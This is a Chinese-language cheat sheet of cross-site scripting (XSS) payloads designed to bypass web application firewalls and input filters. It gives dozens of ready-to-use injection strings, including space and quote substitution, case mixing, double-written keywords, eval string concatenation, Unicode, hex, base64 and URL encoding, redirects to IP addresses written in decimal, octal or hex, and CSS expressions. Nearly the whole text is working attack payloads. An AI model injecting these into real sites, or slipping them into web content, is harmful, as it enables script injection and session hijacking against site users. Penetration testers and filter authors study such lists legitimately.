空格绕过
当空格被过滤掉时，我们可以用 / 来代替空格
<img/src="x"/onerror=alert(1);>
引号过滤
如果是HTML标签中，我们可以不用引号。如果在JS中，我们可以用反引号代替单双引号
<img src=x onerror=alert(`xss`);>
括号绕过
当括号被过滤掉的时候我们可以使用throw来绕过
<img src=x onerror="javascript:window.onerror=alert;throw 1">
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写绕过
有些waf可能只会替换一次且是替换为空，这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接绕过
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top
<script>top["al"+"ert"](`xss`);</script>
其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击，如果我们能fuzz出正则的规则，则我们就可以使用其它字符去混淆我们注入的代码了
可利用注释、标签的优先级等 <<script>alert("xss");//<</script> <title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高，所以会先闭合title，从而导致前面的img标签无效 <SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
JavaScript伪协议
使用o_n和<scr_ipt>过滤时
"><a href=javascript:alert(/xss/)>
编码绕过
Unicode编码绕过
<img src="x" onerror="alert("xss");"> javascript:alert(/xss/) (编码了r和i) <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
URL绕过
使用URL编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> javascript:alert('xsshttp://')
使用IP
1.十进制IP <img src="x" onerror=document.location=`http://2130706433/`> 2.八进制IP <img src="x" onerror=document.location=`http://0177.0.0.01/`> 3.hex <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`> 4.html标签中用//可以代替http:// <img src="x" onerror=document.location=`//www.baidu.com`> 5.使用\\ 但是要注意在windows下\本身就有特殊用途，是一个path 的写法，所以\\在Windows下是file协议，在linux下才会是当前域的协议 6.使用中文逗号代替英文逗号 如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号 <img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
DIV绕过
利用DIV标签的STYLE属性中的表达式实现XSS攻击：
<DIV STYLE="width: expression(alert('XSS'));">
